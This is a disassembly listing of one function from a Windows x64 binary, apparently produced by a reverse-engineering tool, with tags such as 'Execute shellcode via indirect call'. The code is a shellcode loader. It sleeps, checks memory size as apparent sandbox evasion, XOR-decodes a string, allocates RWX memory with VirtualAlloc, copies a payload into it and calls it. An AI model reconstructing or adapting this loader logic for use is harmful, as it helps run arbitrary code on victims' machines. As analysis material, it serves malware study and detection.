Function at 0x140001d40
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get memory capacity
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov ebx, 0xa
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140001d65
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140002160
movabs rax, 0x100000000
cmp qword [rbp - 0x31], rax
seta al
test al, al
je 0x140002160
movdqa xmm0, xmmword [0x1400043f0]
movdqa xmm1, xmmword [0x1400043d0]
mov qword [rsp + 0x108], rdi
movdqu xmmword [rbp - 0x39], xmm0
mov qword [rsp + 0x110], r14
xor r14d, r14d
movdqa xmm0, xmmword [0x1400043e0]
mov ecx, r14d
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rbp - 9], 0x89848fd4
movdqu xmmword [rbp - 0x29], xmm1
mov word [rbp - 5], pe_nt_image_headers64
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x36]
xor byte [rbp + rcx - 0x39], al
inc rcx
cmp rcx, 0x34
jb 0x140001e00
movdqa xmm0, xmmword [0x1400043c0]
lea rdx, [rbp - 0x39]
mov r8d, 0x34
mov byte [rbp - 4], r14b
lea rcx, [rbp + 7]
mov byte [rbp + 7], r14b
movdqu xmmword [rbp + 0x17], xmm0
call fcn.1400022f0
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x59]
call fcn.140002170
movabs rdi, 0x112e0be826d694b3
nop
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.140002170
mov rbx, rax
lea rax, [rbp - 0x59]
cmp rax, rbx
je 0x140001ed2
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x140001ea4
mov rcx, qword [rbp - 0x59]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e9f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f5a
call fcn.140002650
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], r14b
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x49], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x140001f09
mov rcx, qword [rbp - 0x39]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f04
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f5a
call fcn.140002650
cmp qword [rbp - 0x49], r14
jne 0x140001f61
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
add rax, 0x5f5e100
imul rcx, rax, 0x64
mov rax, rdi
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rbp - 0x79], rdx
sub ecx, eax
mov dword [rbp - 0x71], ecx
lea rcx, [rbp + 0x27]
movaps xmm0, xmmword [rbp - 0x79]
movdqa xmmword [rbp + 0x27], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140001e50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp qword [rbp - 0x41], 0x10
lea rdx, [rbp - 0x59]
mov qword [rsp + 0x100], rsi
mov r8, 0xffffffffffffffff
cmovae rdx, qword [rbp - 0x59]
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], r14b
nop
inc r8
cmp byte [rdx + r8], r14b
jne 0x140001f90
lea rcx, [rbp - 0x39]
call fcn.1400022f0
mov rcx, qword [rbp - 0x29]
call fcn.140002658
lea rdx, [rbp - 0x39]
mov rsi, rax
lea rcx, [rbp - 0x79]
call fcn.140001090
mov rdx, rax
lea rcx, [rbp + 0x27]
xor r8d, r8d
call fcn.140001180
mov rdx, rsi
lea rcx, [rbp + 0x27]
call fcn.140001b80
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x140002014
mov rcx, qword [rbp + 0x27]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000200f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000200f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002650
mov rdx, qword [rbp - 0x29]
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp - 0x29]
mov rdx, rsi
mov rcx, rax
mov qword [0x1400066c0], rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp - 0x21], 0x10
lea rcx, [rbp - 0x39]
cmovae rcx, qword [rbp - 0x39]
mov byte [rcx], r14b
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
mov qword [rbp - 0x49], r14
cmovae rcx, qword [rbp - 0x59]
mov byte [rcx], r14b
call rdi
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x1400020a4
mov rcx, qword [rbp - 0x39]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000209f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000211d
call fcn.140002650
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400020db
mov rcx, qword [rbp - 0x59]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000211d
call fcn.140002650
mov rdx, qword [rbp + 0x1f]
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], r14b
cmp rdx, 0x10
jb 0x140002129
mov rcx, qword [rbp + 7]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002124
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002124
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002650
mov rsi, qword [rsp + 0x100]
xor eax, eax
mov rdi, qword [rsp + 0x108]
mov r14, qword [rsp + 0x110]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400025f0
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]